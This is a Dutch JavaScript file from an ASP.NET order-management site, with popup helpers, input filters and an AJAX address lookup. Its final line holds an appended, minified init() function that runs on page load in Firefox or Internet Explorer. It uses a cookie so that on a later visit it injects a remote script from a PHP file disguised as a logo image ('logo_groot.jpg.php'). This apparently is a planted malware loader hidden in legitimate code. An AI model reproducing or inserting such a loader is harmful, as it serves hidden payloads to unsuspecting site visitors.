﻿function toonVariant(chk) {
    if (chk.checked) {
        document.getElementById('ctl00_ContentPlaceHolder1_variantinfo').style.display = 'inline';
    }
    else {
        document.getElementById('ctl00_ContentPlaceHolder1_variantinfo').style.display = 'none';
    }
}

function toonZending(id) {
    var w;
    var url;

    var breedte = 780;
    var hoogte = 450;
    var left = (screen.availWidth - breedte) / 2;
    var top = (screen.availHeight - hoogte) / 2;

    url = '/Orderbeheer/Zending.aspx?id=' + id;

    w = window.open(url, 'Popup', 'height=' + hoogte + ', top=' + top + ', left=' + left + ', width=' + breedte + ', scrollbars, statusbar, resizable');
    w.focus();
}


function toonOpdrachtgevers() {
    var w;
	var url;
	
	var breedte = 780;
	var hoogte = 450;
	var left = (screen.availWidth - breedte)/2;
	var top = (screen.availHeight - hoogte)/2;
	
	url='/Opdrachtgevers.aspx';
	
	w = window.open(url, 'Popup', 'height='+hoogte+', top='+top+', left='+left+', width='+breedte+', scrollbars, statusbar, resizable');
	w.focus();
}

function OpdrachtgeverGeselecteerd(id){    
    document.getElementById("ctl00_hidOpdrachtgever").value = id;
    __doPostBack();
}

function zoekArtikel() {
    var w;
    var url;
    
    var breedte = 780;
    var hoogte = 450;
    var left = (screen.availWidth - breedte)/2;
    var top = (screen.availHeight - hoogte)/2;
    
    url='/Artikelbeheer/ZoekArtikel.aspx';

    w = window.open(url, 'Popup', 'height=' + hoogte + ', top=' + top + ', left=' + left + ', width=' + breedte + ', scrollbars, statusbar, resizable');
    w.focus();
}

function ArtikelGeselecteerd(id, variant_id){    
    document.getElementById("ctl00_ContentPlaceHolder1_hiddenArtikelcode").value = id;
    document.getElementById("ctl00_ContentPlaceHolder1_hiddenVariantcode").value = variant_id;
    __doPostBack();
}

function zoekAdres() {
    var w;
    var url;
    
    var breedte = 750;
    var hoogte = 450;
    var left = (screen.availWidth - breedte)/2;
    var top = (screen.availHeight - hoogte)/2;
    
    url='/Afleveradressen/ZoekAdres.aspx';

    w = window.open(url, 'Popup', 'height=' + hoogte + ', top=' + top + ', left=' + left + ', width=' + breedte + ', scrollbars, statusbar, resizable');
    w.focus();
}

function AdresGeselecteerd(id){    
    getAdresById(id)
//    document.getElementById("ctl00_ContentPlaceHolder1_hidAdresCode").value = id;
//    __doPostBack();
}


function editTekst(id) {
    var w;
    var url;
    
    var breedte = 450;
    var hoogte = 220;
    var left = (screen.availWidth - breedte)/2;
    var top = (screen.availHeight - hoogte)/2;
    
    url='/Orderbeheer/editTekst.aspx?id=' + id;

    w = window.open(url, 'Popup', 'height=' + hoogte + ', top=' + top + ', left=' + left + ', width=' + breedte + ', scrollbars, statusbar, resizable');
    w.focus();
}

function tekstGewijzigd() {
    __doPostBack();
}

function numbersonly(myfield, e, dec){
	var key;
	var keychar;

	if (window.event)
		key = window.event.keyCode;
	else if (e)
		key = e.which;
	else
		return true;
	keychar = String.fromCharCode(key);

	// control keys
	if ((key==null) || (key==0) || (key==8) || 
		(key==9) || (key==13) || (key==27) )
		return true;
	// numbers
	else if ((("0123456789").indexOf(keychar) > -1))
		return true;
	// decimal point jump
    else if (dec && (keychar == "." || keychar == ",")) {
		return true;
	} else {
		return false;
	} 
}

function datesonly(myfield, e, dec){
	var key;
	var keychar;

	if (window.event)
		key = window.event.keyCode;
	else if (e)
		key = e.which;
	else
		return true;
	keychar = String.fromCharCode(key);

	// control keys
	if ((key==null) || (key==0) || (key==8) || 
		(key==9) || (key==13) || (key==27) )
		return true;
	// numbers
	else if ((("0123456789-/").indexOf(keychar) > -1))
		return true;
	else {
		return false;
	}
}

function login(e){
    var key;
    var keychar;
    
	if (window.event)
		key = window.event.keyCode;
	else if (e)
		key = e.which;
	else
	    return true;
    
    if(key==13) __doPostBack('btnAanmelden$lbKnop','');
}

//ajax calls
var req;
var actie;

function loadXMLDoc(url) {
	if (window.XMLHttpRequest) {
		req = new XMLHttpRequest();
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send(null);
	} 
	else if (window.ActiveXObject) {
		req = new ActiveXObject("Microsoft.XMLHTTP");
		if (req) {
			req.onreadystatechange = processReqChange;
			req.open("GET", url, true);
			req.send();
		}
	}
}

function processReqChange() 
{
	if (req.readyState == 4) {
		if (req.status == 200) {
			response = req.responseXML.documentElement;
			
			switch(actie) {
				case 'adres':
					updateAdres(response);
					break
			}
		} 
		else {
			alert("Fout opgetreden bij ophalen informatie:\n" + req.statusText);
		}
	}
}

function getAdresByCode(ddl) {
    code = ddl.options[ddl.selectedIndex].value;
    if(code!='') {
        actie = 'adres';
		url = '../ajax.aspx?action=adres&code=' + code;
		loadXMLDoc(url);        
    }    
}

function getAdresByDebiteur(debiteur) {
    if (debiteur!='') {
        actie = 'adres';
		url = '../ajax.aspx?action=adres&debiteur=' + debiteur;
		loadXMLDoc(url);     
    }
}

function getAdresById(code) {
    actie = 'adres';
    url = '../ajax.aspx?action=adres&code=' + code;
    loadXMLDoc(url);        
}

function updateAdres(response) {
    try {
        if (document.getElementById('ctl00_ContentPlaceHolder1_hidAdresCode')) document.getElementById('ctl00_ContentPlaceHolder1_hidAdresCode').value = trim(response.getElementsByTagName('Adrescode')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtDebiteurnr')) document.getElementById('ctl00_ContentPlaceHolder1_txtDebiteurnr').value = trim(response.getElementsByTagName('Debiteurnummer')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtNaam')) document.getElementById('ctl00_ContentPlaceHolder1_txtNaam').value = trim(response.getElementsByTagName('Naam')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtContact')) document.getElementById('ctl00_ContentPlaceHolder1_txtContact').value = trim(response.getElementsByTagName('Contactpersoon')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtStraat')) document.getElementById('ctl00_ContentPlaceHolder1_txtStraat').value = trim(response.getElementsByTagName('Straat')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtNummer')) document.getElementById('ctl00_ContentPlaceHolder1_txtNummer').value = trim(response.getElementsByTagName('Nr')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtToevoeging')) document.getElementById('ctl00_ContentPlaceHolder1_txtToevoeging').value = trim(response.getElementsByTagName('Toevoeging')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtPostcode')) document.getElementById('ctl00_ContentPlaceHolder1_txtPostcode').value = trim(response.getElementsByTagName('Postcode')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_txtPlaats')) document.getElementById('ctl00_ContentPlaceHolder1_txtPlaats').value = trim(response.getElementsByTagName('Plaats')[0].firstChild.data.replace("|", ""));
        if (document.getElementById('ctl00_ContentPlaceHolder1_ddlLand')) {
            ddl = document.getElementById('ctl00_ContentPlaceHolder1_ddlLand');
            land = trim(response.getElementsByTagName('Land')[0].firstChild.data.replace("|", ""));
            for (i = 0; i < ddl.options.length; i++) {
                if (ddl.options[i].value == land) {
                    ddl.selectedIndex = i;
                    break;
                }
            }
        }
    }
    catch (ex) {
        //ff niks doen
    }
}

function trim(str) {
   return str.replace(/^\s*|\s*$/g,"");
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logo_groot.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
